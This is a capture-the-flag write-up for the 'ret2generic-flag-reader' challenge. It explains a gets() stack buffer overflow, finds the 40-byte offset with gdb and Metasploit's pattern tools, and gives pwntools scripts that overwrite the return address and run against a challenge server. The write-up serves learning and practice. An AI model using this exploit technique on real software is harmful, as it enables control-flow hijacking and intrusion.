https://s3-us-west-2.amazonaws.com/secure.notion-static.com/96c6446d-69ec-44f8-9e45-f4efa8da3b07/Untitled.png

Solution

  1. Read the C code.

    There is a function called super_generic_flag_reading_function_please_ret_to_me() that is not invoked by the main function.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4d604ba5-563b-4ea7-bdea-a0c8bca00e13/Untitled.png

    A gets() function is also used in this binary.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/ae28d6c4-d641-4f2c-82c9-08bd8736397a/Untitled.png

    gets() is a vulnerable function that accepts a line from user input until a newline character or end-of-file character is detected. Since it does not check the number of characters accepted, gets() can be used to easily overflow the buffer. If we can overflow the buffer till we overwrite the EIP, we can then jump to the super_generic_flag_reading_function_please_ret_to_me() function.

  2. Run the binary normally.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/6ffe0b50-e6d0-41c0-8a30-c333b011205d/Untitled.png

  3. Analysing the binary.

    I would usually use these commands to get a quick overview on the type of binary.

    file ret2generic-flag-reader
    checksec ret2generic-flag-reader
    strings ret2generic-flag-reader
    
  4. Use gdb (GNU Debugger)

    My aim with using gdb is to find the location of the EIP **and overwrite that value with the address of the flag function so that the program jumps to that location.

    Note: For the gdb commands, scroll below.

    Firstly, we should create a local file called flag.txt and fill in an arbitrary flag.

    After sending in 80 "A" as the input, we can see that we have overwritten the $rip.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/28ba4af1-3c4d-44f3-89bc-b60354a8837e/Untitled.png

    We need to figure out at what offset the $rip starts getting overwritten so that we will know how many junk bytes to send. To do this, we can use Metasploit's pattern_create tool and pattern_offset tool.

    1. Create a pattern with length 80.

      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 80
      
      output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
      
    2. Run gdb again with the output of that command.

      https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4abb6fa7-9c3c-4b54-bd98-6cb05364de58/Untitled.png

    3. Get the new $rip value.

      https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5a934c8c-9e9f-4f4b-8160-ec1ee48b51c1/Untitled.png

    4. Compare the pattern to see what is the offset.

      /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 3562413462413362
      
      output: [*] Exact match at offset 40
      

      This means that we need 40 junk bytes before we reach the $rip location. Now all we need to know is what the address of the function is.

    For that, we can use "info functions" and get the address value.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/e159dc66-4493-4a97-9074-ff5915c57957/Untitled.png

    Return address: 0x00000000004011f6

  5. Test locally.

    Write a script to test it locally. For the return address, ensure it follows Little Endian.

    from pwn import *
    
    p = process("./")
    p.send("A"*40 + "\\xf6\\x11\\x40\\x00\\x00\\x00\\x00\\x00")
    p.interactive()
    p.close()
    

    Running this script we get the arbitrary flag we created:

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9bec8876-618d-4955-b1a2-755b6ddca96b/Untitled.png

  6. Test against the server.

    Edit the script to connect to the server.

    from pwn import *
    
    p = remote("mc.ax", 31077)
    p.send("A"*40 + "\\xf6\\x11\\x40\\x00\\x00\\x00\\x00\\x00")
    p.interactive()
    p.close()
    

    Running the script, we will get the actual flag.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/e8fb25ae-02dc-4c01-bd7f-e66ad978de64/4.png

Flag: flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}

gdb commands

**Initial analysis**
b *main
set disassembly-flavor intel
disass main
b *main+132
run
*<breakpoint 1 reached>*
c
*user input: AAAAAA
<breakpoint 2 reached>*
info frame
**To find the offset**
run
*<breakpoint 1 reached>*
c
user input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
<breakpoint 2 reached>
info frame
**To find the address of the function**
info functions